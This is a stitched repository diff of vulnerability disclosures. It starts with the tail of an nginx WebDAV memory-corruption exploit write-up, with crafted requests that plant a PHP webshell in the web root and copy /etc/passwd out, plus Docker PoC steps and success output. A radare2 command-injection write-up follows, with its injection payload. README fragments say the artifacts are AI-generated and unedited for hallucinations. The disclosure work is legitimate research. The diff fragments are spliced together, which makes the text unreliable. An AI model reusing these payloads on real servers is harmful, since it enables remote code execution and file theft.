The result: no loop iteration runs, and the only stores that fire are the head, two leftover prologue flushes, and the 64-byte tail. The head and prologue write *forward* from `dst` into unallocated pool space and are noise. **The tail writes backward.** It's anchored at `dstend - 64`. Since `dst = path + root.len` (one past the root-prefix copy) and `dstend = dst - deficit = dst - 2`, the tail starts at `dst - 2 - 64 = path + root.len - 66`. With `root.len = 39` that's `path[-27]`: 27 bytes reach behind the buffer into whatever the request pool allocated immediately before it, and the remaining 37 bytes of the 64 land inside.
That backward reach is the entire exploit. What sits in those 27 bytes depends on the previous `ngx_pnalloc` call, which was the source-path mapping. Whether the source path lives in the request pool (adjacent, gets corrupted too) or in a separate `malloc` block (far away, safe) is decided by its size relative to `r->pool->max = 4016` bytes. The request URI length controls that size. §5 and §6 show the exact byte landings for each layout.
The condition for wrap 2 holds on most of the 16 possible source alignments; on the few it doesn't (when `src & 0xf` is less than the deficit), the count stays huge, the loop runs, and the worker SIGSEGVs in step 3 before any file is touched.
| | PoC-1 (§5) | PoC-2 (§6) |
|---|---|---|
| URI length | ~4030 chars | 15 chars |
| Source path size | ~4065 B (> 4016) | 50 B (<= 4016) |
| Source path lives in | malloc | request pool |
| `dest_path[-27..-1]` overlaps | `ngx_pool_large_t` tracker | source path tail |
| Source path after overflow | intact | rewritten to `/../../../etc/passwd` |
| Primitive | write (copy what you uploaded) | read (copy what already exists) |
| Worker | crashes after 204 | survives on most alignments |
---
## 5. PoC 1: The Write Path
Two unauthenticated requests against a WebDAV location with `alias` + `dav_methods PUT COPY` + `create_full_put_path on`. The PUT uploads a PHP webshell into a deeply nested directory under the alias root. The COPY redirects that file to `/var/www/html/x.php`.
```
PUT /dav/d00_xxx...xxx/d01_xxx...xxx/.../d19_xxx...xxx/p.php HTTP/1.1
Host: 127.0.0.1:9080 ^^^^^^^^^^^^^^
Content-Length: 29 ~4030-char URI: 20 segments
of ~200 chars each. This
<?php system($_GET['c']); ?> pushes the source-path
allocation past pool->max.
----- nginx returns 201 Created, then on the same connection: -----
COPY /dav/d00_xxx...xxx/d01_xxx...xxx/.../d19_xxx...xxx/p.php HTTP/1.1
Host: 127.0.0.1:9080
X-Pad: /var/www/html/x.php <-- last 19 bytes become dest_path[0..18]
Destination: /da <-- 3 chars vs alias /dav/ (5) -> underflow
```
`X-Pad` is an arbitrary header name the attacker invents. nginx parses it, stores it in the headers list, and ignores it. Its job is to put the bytes `/var/www/html/x.php` at a specific offset in the header buffer: immediately before `Destination` so that the memcpy tail picks them up. Any header name works; the value's position is what matters.
### 5.1 Configuration requirements
| Constraint | Detail |
|---|---|
| `dav_methods PUT COPY` | PUT to upload the payload, COPY to escape with it. |
| `create_full_put_path on` | The deep PUT path needs nginx to create intermediate directories. |
| Alias root length | `root.len >= len(target) + alias + 15`. With `/dav/` (5) and a 19-char target: `root.len >= 39`. The PoC uses `/home/ubuntu/aaa...a/` (39 chars). |
| `/var/www/html` writable by worker | Default Debian/Ubuntu: `root:root 755` (fails). Common on PHP CMS hosts where the docroot was chowned to `www-data`. The PoC's Dockerfile creates this directory; on a real target this is the precondition that decides whether the write primitive is interesting. |
| PHP runtime serving `/var/www/html` | PHP-FPM does not check `+x`; the file lands as `0644` and is executable. |
### 5.2 Memory layout
The deep PUT path creates a request URI of ~4030 characters. When the COPY arrives with the same URI, the source-path mapping at [`dav_module.c:693`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L693) computes:
```
source_path size = root.len + uri.len - alias + 1 = 39 + 4030 - 5 + 1 = 4065 bytes
```
The cutoff for in-pool allocation is `r->pool->max`, set at pool creation to `min(request_pool_size - sizeof(ngx_pool_t), NGX_MAX_ALLOC_FROM_POOL)` = `min(4096 - 80, 4095)` = **4016** ([`ngx_palloc.c:34`](https://github.com/nginx/nginx/blob/release-1.29.5/src/core/ngx_palloc.c#L34)). 4065 > 4016, so `ngx_pnalloc` calls `ngx_palloc_large()` which calls `malloc()`. The source path lands in a separate heap block.
`ngx_palloc_large()` leaves a footprint, though: it allocates a 16-byte `ngx_pool_large_t {ngx_pool_large_t *next; void *alloc;}` tracker node *in the request pool* before returning the malloc'd block. The next `ngx_pnalloc`, for the destination path, returns the bytes immediately after that tracker. The destination-path size is computed by the same formula, but with the swapped-in `Destination` value as the URI:
```
dest_path size = root.len + duri.len - alias + 1 = 39 + 3 - 5 + 1 = 38 bytes
```
38 ≤ 4016, so dest_path stays in the pool.
```
malloc heap (a third allocation; not the
header buffer, not the request pool)
┌────────────────────────────────────┐
│ source_path (4065 B) ← UNTOUCHED │
│ "/home/ubuntu/aaa.../d00_.../p.php"│
└────────────────────────────────────┘
request pool (r->pool, 4096 bytes, max=4016)
┌─────────┬────────────────────┬───────────────────────┬──────┐
│ prior │ ngx_pool_large_t │ dest_path (38 B) │ free │
│ data │ {next, alloc} 16 B │ │682 B │
└─────────┴────────────────────┴───────────────────────┴──────┘
↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ ↑↑↑ ↑↑↑↑
tail store: dest[-27..36] = HERE forward stores: dest[39..]
land in free space (benign)
```
### 5.3 What memcpy does
The `Destination: /da` header gives `duri.len = 3`, `alias = 5`, deficit = 2. The destination-path mapping at L703 calls:
```
memcpy(dest_path + 39, duri.data + 5, 0xfffffffffffffffe)
```
`__memcpy_generic` wraps `dstend` to `dest_path + 37` and the count to `(src & 0xf) - 2`. The bounded tail writes 64 bytes at `dest_path[37 - 64 .. 37 - 1] = dest_path[-27..36]`, sourced from `duri.data[3 - 64 .. 3 - 1] = duri[-61..2]`, the parsed header bytes immediately preceding `/da`. The byte mapping is `dest_path[i] = duri[i - root.len + alias] = duri[i - 34]`.
**What we want is for `dest_path` to read as `/var/www/html/x.php` to anything that treats it as a C string.** That means controlling `dest_path` from byte 0 onward, and getting a `\0` immediately after the path. The byte mapping tells us where to place each:
```
dest_path[i] = duri[i - 34] so dest_path[0] = duri[-34]
dest_path[1] = duri[-33]
...
```
So the *first* byte of the corrupted path comes from `duri[-34]`, i.e., 34 bytes before the `/` in `/da` in the raw header buffer. Walking backward from `duri[0]`, the bytes between the X-Pad value and `/da` are fixed by the HTTP wire format and nginx's in-place parsing ([ngx_http_request.c:1507](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/ngx_http_request.c#L1507) zeroes the `\r` after each value, [:1503](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/ngx_http_request.c#L1503) zeroes the `:` after each key):
```
duri[-15] duri[-14] duri[-2] duri[-1] duri[0]
| | | | |
...X-Pad: <value> \0 \n D e s t i n a t i o n \0 <space> / d a ...
^ ^
was \r was :
(parser-zeroed) (parser-zeroed)
|<------------------ 15 bytes ------------------->|
```
The 15 bytes between `duri[-15]` and `duri[-1]` are protocol overhead: 1 space + 1 NUL (was `:`) + 11 chars of `Destination` + 1 `\n` + 1 NUL (was `\r`). DAV always uses the literal header name `Destination`, so the 15 is a constant. That means:
- `duri[-15]` is the first NUL we can't avoid. It lands at `dest_path[-15 + 34] = dest_path[19]`. **The C string is forcibly terminated at byte 19.**
- `duri[-16]` through `duri[-34]` are the last 19 bytes of the X-Pad value (the only attacker-controlled bytes between the two NULs). They land at `dest_path[18]` down to `dest_path[0]`. **Those 19 bytes are the entire path.**
So the constraint is **`root.len - alias - 15` characters**: with `root.len = 39` and `alias = 5`, that's 19. The PoC sends `X-Pad: /var/www/html/x.php` (19 chars exactly), and `dest_path` reads as `/var/www/html/x.php\0\nDestination\0 /da...` to `printf` and `open()` alike.
**What if you want a longer target path?** The 15 is fixed and `alias` is set by the target's `location` block, so the only knob is `root.len`. A longer alias root shifts `dest_path[0]` to a more-negative `duri` offset, deepening the controlled window. With `root.len = 50` you'd get `50 - 5 - 15 = 30` characters, enough for `/var/www/wordpress/wp-load.php`. **The attacker doesn't control `root.len`**; it's whatever the deployed nginx config says. Longer alias paths are common (containerized deployments often use paths like `/opt/app/data/uploads/webdav/`), but it's a property of the target, not a parameter of the attack.
The forward stores write `dest_path[39..104]` from `duri[5..70]` (bytes after `/da\r\n`, mostly buffer slack). They land in pool free space.
The tail's lower half (`dest_path[-27..-1]`) overwrites the `ngx_pool_large_t` tracker, which is what crashes the worker after the file is written (step 6 below).
### 5.4 Sequence
1. PUT lands inside the alias root. nginx creates the directory tree (`create_full_put_path`) and writes the body. Returns 201.
2. COPY arrives. Source path is mapped (4065 bytes, malloc). Destination path is mapped (underflow fires).
3. `lstat(source_path)` succeeds: the source path is intact in its malloc block, untouched by the corruption.
4. `ngx_copy_file(source_path, "/var/www/html/x.php")`: opens source for read, opens dest with `O_CREAT|O_TRUNC` and the source's mode bits (`0664 & ~umask = 0644`), copies the bytes.
5. nginx returns HTTP 204.
6. Building the response calls `ngx_palloc_large()` again, which walks the corrupted `large` list and dereferences `large->next->alloc`. SIGSEGV at [`ngx_palloc.c:228`](https://github.com/nginx/nginx/blob/release-1.29.5/src/core/ngx_palloc.c#L228).
### 5.5 Reproducing it
```
$ docker build -t cve-2026-27654-poc1 poc-1/
$ docker run --rm cve-2026-27654-poc1
[*] root.len=39 alias=5 controlled=19
[*] target = /var/www/html/x.php (19 chars)
[*] URI length = 4030, source path size = 4065 bytes (>4016: True)
PUT: HTTP/1.1 201 Created
COPY: HTTP/1.1 204 No Content
worker_exited: True
target_exists: yes
target_mode: 0o644
target_size: 29
target_match: True
--- target content ---
<?php system($_GET['c']); ?>
```
`poc-1/` contains:
- `Dockerfile`: builds nginx 1.29.5 with `--with-http_dav_module` on Ubuntu 24.04 aarch64, creates `/var/www/html`, runs `poc.py` as the container CMD.
- `nginx.conf`: the vulnerable surface (`alias` 39 chars + `dav_methods PUT COPY` + `create_full_put_path on`).
- `poc.py`: sends both requests, verifies the file landed, dumps mode/content/sha256.
- `nginx-merge-slashes-off.conf`, `poc_slashes.py`: the slash-padding variant below.
### 5.6 Variant: slash-padding (when `merge_slashes off` is set)
The deep PUT path is the worst part of this PoC: it needs `create_full_put_path on` and an nginx that will accept ~200-character directory names twenty levels deep. There's a way to get the same source-path isolation without any of that, but it trades for a different config requirement.
If the target has [`merge_slashes off`](https://nginx.org/en/docs/http/ngx_http_core_module.html#merge_slashes) in its `http {}` block, nginx stops collapsing consecutive slashes in the request URI. A URI like `/dav/` followed by 4000 slashes followed by `p.php` survives normalization at full length. The kernel, on the other hand, *does* collapse slashes (POSIX path resolution treats multiple `/` as one `/`). So the same string is two different lengths to two different layers:
| Layer | Sees | Length | Effect |
|---|---|---|---|
| nginx URI parser | `/dav//////...///p.php` | `r->uri.len` ≈ 4010 | source path = 39 + 4010 - 5 + 1 = 4045 > 4016 → **malloc** |
| kernel `lstat()` | same string | 4045 < `PATH_MAX` (4096) | resolves to the same inode as `<alias_root>/p.php` |
So the malloc-isolation trick fires, and `lstat()` finds an ordinary short-named file under the alias root. No deep tree.
```
PUT /dav/p.php HTTP/1.1 <-- normal short PUT
Host: 127.0.0.1:9080
Content-Length: 29
<?php system($_GET['c']); ?>
COPY /dav//////...4000 slashes...///p.php HTTP/1.1
Host: 127.0.0.1:9080
X-A: <-- alignment shim (see §6.4)
X-Pad: /var/www/html/x.php
Destination: /da
```
What this drops: `create_full_put_path`, the deep directory tree, `dav_methods MKCOL DELETE MOVE`. What this adds: `merge_slashes off`, which is non-default but appears in configs that route on path-encoded data (some REST APIs, git HTTP backends, anything that needs `//` to mean an empty path component). The PUT itself can be any mechanism that lands one short-named file under the alias root; `dav_methods PUT` is just the most direct.
To run the variant:
```
$ docker run --rm cve-2026-27654-poc1 \
python3 poc_slashes.py \
--nginx-bin /usr/local/nginx/sbin/nginx \
--nginx-conf /home/ubuntu/nginx-merge-slashes-off.conf
[*] PUT /dav/p.php (10-char URI, normal short path)
HTTP/1.1 201 Created
[*] COPY URI: /dav/ + 4000 slashes + p.php (4010 chars)
source path size = 39 + 4010 - 5 + 1 = 4045
> pool->max (4016)? True -> source path goes to malloc
< PATH_MAX (4096)? True -> kernel accepts it
kernel resolves to: /home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa/p.php (same inode)
pad= 0 HTTP/1.1 204 No Content written=True
worker_exited: True
target_exists: yes
target_mode: 0o644
target_match: True
```
---
## 6. PoC 2: The Read Path
A single unauthenticated COPY request against a WebDAV location with `alias` + `dav_methods COPY`. No PUT, no file under the alias root, no other configuration. The request copies `/etc/passwd` to a path the attacker can fetch over HTTP.
### 6.1 Configuration requirements
| Constraint | Detail |
|---|---|
| `dav_methods COPY` | The only DAV method needed. PUT, DELETE, MKCOL not required. |
| Alias root length | Same formula as PoC-1. The PoC uses the same 39-char alias root with `/dav/` (5), giving 19 controlled dest-path chars. |
| Pivot directory | The first `L - 27` bytes of the alias root (where `L` is the source-path size) must form a real directory the kernel can walk through. With `root.len = 39`, `uri.len = 15`: `L = 50`, surviving = 23, so `/tmp/lab/aaaaaaaaaaaaaa` must exist. The full alias root need not. |
### 6.2 Memory layout
The request URI is short: `/dav/xxxxxxxxxx` (15 chars). The source-path mapping computes:
```
source_path size = 39 + 15 - 5 + 1 = 50 bytes <= 4016
```
So `ngx_pnalloc` returns 50 bytes from the request pool's bump allocator. The destination-path mapping returns the next 38. They are byte-adjacent: `dest_path = source_path + 50`.
```
request pool
┌─────────┬──────────────────────────────┬─────────────────────┬───────┐
│ prior │ source_path (50 B) │ dest_path (38 B) │ free │
│ data │ /tmp/lab/aaa.../xxxxxxxxxx\0 │ │ 659 B │
└─────────┴──────────────────────────────┴─────────────────────┴───────┘
[0..........22][23.........49] [0..2]
survives ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
tail store: dest[-27..36] = HERE
```
`dest_path[-27]` *is* `source_path[23]`. The corruption rewrites `source_path[23..49]` (27 bytes) and `dest_path[0..36]` in one shot. The forward stores land in pool free space. There is no `ngx_pool_large_t` to corrupt; nothing in this request was big enough to need one.
> **The slash-padding trick from §5.6 does not help here.** With `merge_slashes off`, nginx keeps `//` but still normalizes `..`, and each `..` cancels one prior component including the empty ones between slashes. The `..`s spend themselves on the slash padding and never reach the kernel. The header overflow is the only escape route.
### 6.3 What memcpy does
Same call as PoC-1: `memcpy(dest_path + 39, duri.data + 5, 0xfffffffffffffffe)`. The bounded tail covers `dest_path[-27..36]`, sourced from `duri[-61..2]`. With the source path adjacent, that range maps onto two buffers:
```
source_path[23..49] <- duri[-61..-35] (Src value, its CR, and the start of the Pad line)
dest_path[0..36] <- duri[-34..2] (the Pad header value, "Destination", "/da")
```
The PoC sends:
```
COPY /dav/xxxxxxxxxx HTTP/1.1
Host: 127.0.0.1:9080
Src: /../../../etc/passwd <-- last 20 bytes -> source_path[23..42]
Pad: /tmp/lab/www/leaked <-- exactly 19 bytes -> dest_path[0..18]
Destination: /da
```
The header keys `Src` and `Pad` are 3 characters each. Their lengths matter: the source-path NUL terminator is the `\r` after the Src value, parser-zeroed, and its distance from `duri.data` is `15 + len(Pad value) + 2 (NUL'd : + space) + len(Pad key) + 2 (CR-NUL + LF)` = `15 + 19 + 2 + 3 + 2 = 41` bytes. With a 5-character key like `X-Pad`, the NUL would land 2 bytes farther back, at `duri[-43]`, which maps to `source_path[41]` instead of `[43]`, leaving only 18 bytes for the traversal. `/../../../etc/passwd` needs 20. The dest-path constraint and the source-path constraint trade off through the Pad key length; we tune it to keep both constraints where we need them.
After the overflow:
```
source_path = "/tmp/lab/aaaaaaaaaaaaaa" + "/../../../etc/passwd" + "\0" + junk
└─── surviving 23 B ─────┘ └──── from Src tail ────┘ └─ Src's CR (parser-zeroed)
dest_path = "/tmp/lab/www/leaked" + "\0" + "\nDestination\0 /da" + junk
└─── from Pad ───────┘ └─ Pad's CR (parser-zeroed)
```
The kernel resolves `..` at the syscall layer. nginx's URI normalization runs before location matching and never sees the traversal because the traversal does not exist in any URI; it exists only in heap memory after the overflow.
### 6.4 Why the worker survives
Every byte the bug writes lands in either `source_path[23..49]` (the rewritten traversal), `dest_path[0..36]` (the rewritten target), or pool free space past `dest_path` that the next allocation will overwrite anyway. There is no `malloc()` metadata in the blast radius and no `ngx_pool_large_t` in the pool data area. The pool is freed cleanly and the worker re-enters keepalive.
The condition is the alignment fixup wrap: `(duri.data + alias) & 0xf >= 2`. The header buffer is `ngx_memalign`-allocated (16-byte aligned), so the residue depends only on the byte offset of `Destination` within the request, not on ASLR. In this PoC's request layout the residue is 12. On the two residues 0 and 1 the wrap fails, the main loop runs, and the worker SIGSEGVs reading off the end of the header buffer's page before any file is touched. An attacker with a lab copy of the target binary precomputes a working pad; a blind attacker has roughly a 12% chance per attempt of producing a noisy crash. The padding sweep in `poc_src.py` (front-padding the Src value to walk the residue through every value) handles the blind case.
### 6.5 Forensics
The nginx debug log records the source path at [`dav_module.c:697`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L697), *before* the destination-path mapping at L703 corrupts it. The log shows a copy from a file that does not exist; `open()` reads `/etc/passwd`; nothing in any nginx log mentions `/etc/passwd`.
This is a read primitive: the attacker chooses which file to read and where to put the copy, but the content is whatever is already on disk.
### 6.6 Reproducing it
```
$ docker build -t cve-2026-27654-poc2 poc-2/
$ docker run --rm cve-2026-27654-poc2
[*] root.len=39 alias=5 src_uri_len=15
[*] L = 50, path.len = 38, reach = 27, surviving = 23
[*] pivot dir = /tmp/lab/aaaaaaaaaaaaaa
[*] reading = /etc/passwd
[*] writing to = /tmp/lab/www/leaked
pad= 0 HTTP/1.1 204 No Content written=True
[*] GET /files/leaked
HTTP/1.1 200 OK
download_size: 878
matches /etc/passwd: True
--- downloaded body, first 3 lines ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```
`poc-2/` contains:
- `Dockerfile`: builds nginx 1.29.5 with `--with-http_dav_module` on Debian 12 aarch64, creates the pivot directory, runs `poc_src.py` as the container CMD.
- `nginx.conf`: the entire vulnerable surface for the read primitive (`alias` + `dav_methods COPY`, nothing else).
- `poc_src.py`: sends the COPY, downloads the result over HTTP, compares against `/etc/passwd`.
- `trace1.gdb`: breakpoint script that stops after source-map, after dest-map, and at `ngx_copy_file` entry, dumping the path buffers and the `duri[-64..+3]` window.
- `gdb_trace.txt`: annotated dump of one run, with the byte-mapping formulas connecting each header byte to its landing offset.
To step through the corruption manually:
```
$ docker run --rm -it --cap-add=SYS_PTRACE cve-2026-27654-poc2 bash
# gdb -x trace1.gdb --args /usr/local/nginx/sbin/nginx -p /tmp/lab/ -c /tmp/lab/nginx.conf
```
Then from a second shell inside the container:
```
# python3 /tmp/lab/poc_src.py --nginx-bin /bin/true --nginx-conf /dev/null
```
---
## References
- [CVE-2026-27654 record](https://www.cve.org/CVERecord?id=CVE-2026-27654)
- [nginx fix commit `9739e75`](https://github.com/nginx/nginx/commit/9739e755b8dd)
- [nginx CHANGES entry for 1.29.7](https://nginx.org/en/CHANGES)
- [F5 vendor advisory K000160382](https://my.f5.com/manage/s/article/K000160382)
+4
View File
@@ -43,3 +43,7 @@ UTM.app (requires `-vnc :0` in the VM's QEMU arguments):
./run_poc_utm.sh # build exploit, provision 'exploit-test' VM
./run_poc_utm.sh run # start via utmctl; watch the serial console in UTM
```
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+5
View File
@@ -36,3 +36,8 @@ python3 exploit.py # run the end-to-end PoC
```
Successful exploitation creates `/tmp/qmail_rce_proof` inside the container containing the output of `id` as the `qmailr` user.
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
@@ -77,3 +77,8 @@ Hung Nguyen (mov) of Calif.io
- 2026-04-08 03:28 UTC: Reported as [radare2#25752](https://github.com/radareorg/radare2/issues/25752)
- 2026-04-08 13:54 UTC: Maintainer (@trufae) acknowledged — *"yeah as said the previous fix was wrong and incomplete, i just fixed it in a PR."*
- 2026-04-08 (same day): Fix merged upstream
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+10 -240
View File
@@ -1,244 +1,14 @@
# MAD Bugs: Discovering a 0-Day in Zero Day
# MAD Bugs: Discovering a radare2 0-Day in Zero Day
Heres how I used Claude to find and patch a radare2 0-day on my first day at Calif.
Command injection in radare2's PDB symbol parser. Reported as [radare2#25730](https://github.com/radareorg/radare2/issues/25730), fixed in [PR #25731](https://github.com/radareorg/radare2/pull/25731).
**Timeline:**
| File | What |
|---|---|
| [`blog.md`](blog.md) | Blog post (written by humans) |
| [`poc.py`](poc.py) | PoC |
| [`binaries/`](binaries) | Test PE + crafted PDB |
| [`radare.mov`](radare.mov) | PoC video |
All times are in GMT+8 on 2026-04-06.
## A note on the artifacts
- **09:00 AM:** First day at Calif
- **10:18 AM:** Installed Claude Code
- **11:24 AM:** Discovered vulnerability
- **11:48 AM:** Generated RCE PoC
- **2:48 PM:** [Reported](https://github.com/radareorg/radare2/issues/25730) vulnerability
- **3:47 PM:** Opened [Fix PR](https://github.com/radareorg/radare2/pull/25731)
- **5:00 PM:** Merged PR
## The Target: radare2
[radare2](https://github.com/radareorg/radare2) (r2) is an open-source, CLI-based reverse engineering framework.
I decided to focus on reverse engineering tools for two reasons:
1. I actually use them. I even built an [r2-based CTF challenge](https://jro.sg/CTFs/TISC%202024%20-%20Imphash/) back in 2024.
2. Parsing and analyzing dozens of executable formats is hard. Historically, binary file parsing has been a rich source of bugs.
An unexpected bonus was the radare2 team's very public disclosure policy: security bugs are reported directly on GitHub Issues, just like any other bug. Combined with their rapid triage and patch turnaround, this made for one of the shortest bug-to-patch cycles I've ever experienced.
## Vulnerability Discovery: Prompt Commentary
Setup was simple: a fresh clone of radare2 from GitHub, and Claude Code running with `--dangerously-skip-permissions`. The model was Claude Opus 4.6 (1M context) with high effort.
Below, I'll walk through the prompts I used, explain the reasoning behind each one, and describe how Claude responded.
> **Me:** Users are reporting that they have experienced unplanned code execution when analyzing untrusted binaries with this project. Figure out how this has happened.
Previous [MAD Bugs](https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude) posts had success with an incident-response-style prompt, so I went with something similar here.
Claude came back with 5 bugs. They looked plausible, but all of them required non-standard configurations or explicit user approval. I followed up to narrow the scope:
> **Me:** The users are using default configuration with no projects. They did not perform any suspicious actions either. Assess for memory corruption bugs or other more complex vectors
This time, Claude reported 7 "Confirmed Exploitable Vectors," including 3 "Critical" heap and integer overflows. Naturally, I was skeptical, so I asked it to:
> **Me:** Develop a poc for the unpatched vulnerabilities. Determine if an attacker could have bypassed the patches for the known bugs
The second sentence referenced some recently patched N-days it had found in the Git history, which had been fixed by applying the `r_str_sanitize` function to sanitize untrusted input.
Claude struggled to prove, let alone exploit, the memory corruption vulnerabilities. It did appear to be making progress on a "heap leak" issue, though, so I gave it a nudge:
> **Me:** What if you built radare with asan to help with the exploit debugging
> **Me:** Assess the exploitability of the vulnerabilities. The attacker must be able to achieve full code execution just by the user loading a binary for analysis
Unfortunately, ASAN revealed that the "heap leak" was just a memory leak, not any kind of information disclosure bug:
```
==44349==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 48 byte(s) in 1 object(s) allocated from:
```
Time to reset expectations and point Claude toward a more promising direction:
> **Me:** Memory leak is not a vulnerability. Show a vulnerability with real impact, such as heap overflow. Also, dig deeper into r_str_sanitize and where it should be used but is missing. Explain the impact of those vulns
Claude tried hard to exploit various stack and heap buffer overflows, but failed to trigger a single ASAN crash. It had, however, developed a solid understanding of the command injection N-days, so I redirected:
> **Me:** Focus on command injection. Find another vulnerability.
Watching Claude's thoughts stream rapidly across my screen didn't inspire much confidence.
It seemed like we were running out of leads. Then this appeared:
```
Let me now look for the ONE remaining angle: the RAD-mode output that gets executed via . (dot) commands. Let me look for ".i" patterns in automatic loading:
```
Soon, we went from "it's over" to "we are so back":
```
Confirmed: line 1458 is the only RAD-mode cb_printf with an unsanitized binary-derived string. The vulnerability is clear:
...
Impact: Full code execution when a user opens a PE binary that has a crafted PDB file in the PDB search path. Default configuration, no user interaction beyond r2 binary.exe.
Fix: Sanitize name before interpolation at line 1458, using r_name_filter_dup() or r_str_sanitize().
```
This looked very plausible. I asked Claude to:
> **Me:** Generate a test .exe and .pdb file. Prove that the vulnerability is real and exploitable
To do this, Claude had to construct a valid [PDB file](https://en.wikipedia.org/wiki/Program_database) containing a malicious symbol name. PDB is a relatively complex binary format, so this took some time.
At this point, I was fairly confident we were in the home stretch. I offered one last hint:
> **Me:** Can you use any libraries to build the pdb? Maybe that will be easier
But Claude didn't need it. Shortly after, we had the proof:
```
Arbitrary shell command execution confirmed. A crafted debug.pdb file alongside a PE binary causes !echo PWNED>/tmp/r2_poc_output to execute when the user runs idp in radare2. The output file /tmp/r2_poc_output contains PWNED.
```
One final prompt to wrap things up:
> **Me:** Great job! Now, generate a report for this vulnerability. Also create a poc.py, which takes --cmd and generates the target.exe and .pdb file that executes the given command
Total context used was 352.4k/1M tokens.
## Vulnerability Analysis
PDB files contain symbols: mappings between function names and their addresses. Knowing where functions live is incredibly helpful for malware analysis, so r2 has several commands that parse and display this information.
There's the [`idpi`](https://github.com/radareorg/radare2/blob/25edd02/libr/bin/format/pdb/pdb.c#L1463) command, which prints the symbols available:
```
[0x140001000]> idpi
0x140001000 0 .text my_cool_function
```
And there's `idpi*`, which prints the r2 commands needed to convert symbol information into flags — essentially labels for addresses in r2.
```
[0x140001000]> idpi*
f pdb.my_cool_function = 0x140001000 # 0 .text
"fN pdb.my_cool_function my_cool_function"
```
The `f` command creates a flag (an offset-name mapping) at an address, and `fN` sets its "real name" — the original, unsanitized display name stored separately from the flag's identifier.
Finally, there's [`idp`](https://github.com/radareorg/radare2/blob/25edd02/libr/core/cmd_info.inc.c#L1886), which is actually an alias for `.idpi*`. The dot prefix means "run this command, then execute the output".
You can probably see where this is going, so let's just jump right into the [implementation](https://github.com/radareorg/radare2/blob/25edd02/libr/bin/format/pdb/pdb.c#L1452-L1458) of the `idpi*` command:
```c
// pdb.c:1451 filtered_name is sanitized via r_name_filter_dup()
filtered_name = r_name_filter_dup (r_str_trim_head_ro (name));
// pdb.c:1452 safe: filtered_name in flag creation
pdb->cb_printf ("f pdb.%s = 0x%" PFMT64x " # %d %.*s\n", filtered_name, ...);
// pdb.c:1458 VULNERABLE: raw `name` from PDB binary data, NOT sanitized
pdb->cb_printf ("\"fN pdb.%s %s\"\n", filtered_name, name);
```
By crafting a PDB with a function name like `x" ;!open -a Calculator #"`, we can break out of the double-quoted command and inject arbitrary r2 commands. Since r2 supports executing system commands, RCE follows trivially.
```
[0x140001000]> idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
"fN pdb.x____open__a_Calculator_ x" ;!open -a Calculator #"
```
## PoC
Video: http://youtube.com/watch?v=mmc7A__J_hY
Code: [poc.py](poc.py)
## Patch Development: Prompt Commentary
In a fresh Claude Code session, I started off with:
> **Me:** Read the poc and report. Determine when the bug was introduced and produce a patch commit, along with tests that prevent a regression of this bug
The first patch Claude generated fixed the vulnerability, but it broke functionality as well:
```diff
- pdb->cb_printf ("\"fN pdb.%s %s\"\n", filtered_name, name);
+ char *safe_name = r_name_filter_dup (name);
+ pdb->cb_printf ("\"fN pdb.%s %s\"\n", filtered_name, safe_name);
+ free (safe_name);
```
With that patch applied, the output of `idpi*` would be:
```
[0x140001000]> idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
"fN pdb.x____open__a_Calculator_ x____open__a_Calculator_"
```
However, this also strips special characters from legitimate function names, such as `std::ostream::operator<<(std::ostream& (*)(std::ostream&))`:
```
[0x140001440]> idpi*
f pdb.std::ostream::operator___std::ostream____std::ostream__ = 0x1400014c0 # 0 .text
"fN pdb.std::ostream::operator___std::ostream____std::ostream__ std::ostream::operator___std::ostream____std::ostream__"
```
Thus, I got Claude to reconsider:
> **Me:** What is the intent of the fN command and does the fix affect its intend behavior?
> **Me:** This is a critical problem. if we sanitize the real name, then this is useless. How can we properly address it?
Claude came back with a clean solution: base64-encode the raw name before interpolation.
```
Here's what I found. There are two viable approaches:
Option 1: Add base64: support to fN (matches existing pattern)
The flag system already uses base64 in several places:
- fC (flag comment) accepts base64: prefix and decodes it at
cmd_flag.inc.c:2085
- fu serializes realname as base64 at line 1536, and decodes it back at line
1517
But fN itself (line 2163) does not support the base64: prefix — it takes the
raw string directly via strchr(name, ' ') and passes it straight to
r_flag_item_set_realname.
The fix would be two-sided:
1. Emit side (print_gvars): base64-encode the raw name
2. Receive side (fN handler): detect and decode base64: prefix
This is the cleanest approach because it completely avoids the parsing problem
— base64 output contains only [A-Za-z0-9+/=], which has zero overlap with r2
metacharacters.
```
Satisfied with the approach, I opened a [PR with Claude's changes](https://github.com/radareorg/radare2/pull/25731) and waited for the maintainers to respond.
## Resolution
About an hour later, a maintainer pointed out that the vulnerability could be fixed more simply — by prefixing the `fN` command with a single quote (`'`), which disables special character processing in r2.
```
# Safe - no calc popped
'fN pdb.x____open__a_Calculator_ x;!open -a Calculator #
```
Nonetheless, they recognized it as a real and critical vulnerability, and agreed that the base64 prefix was a worthwhile addition.
The PR was [merged](https://github.com/radareorg/radare2/commit/0e38152560e689327a74d2944fa45ba7afd4cb33), and string sanitization was [further enhanced](https://github.com/radareorg/radare2/commit/253587680e000266e94cbf98c27a17ada4cd29e9) in a follow-up commit — likely part of a broader effort to address the spate of recent command injection vulnerabilities.
## Conclusion
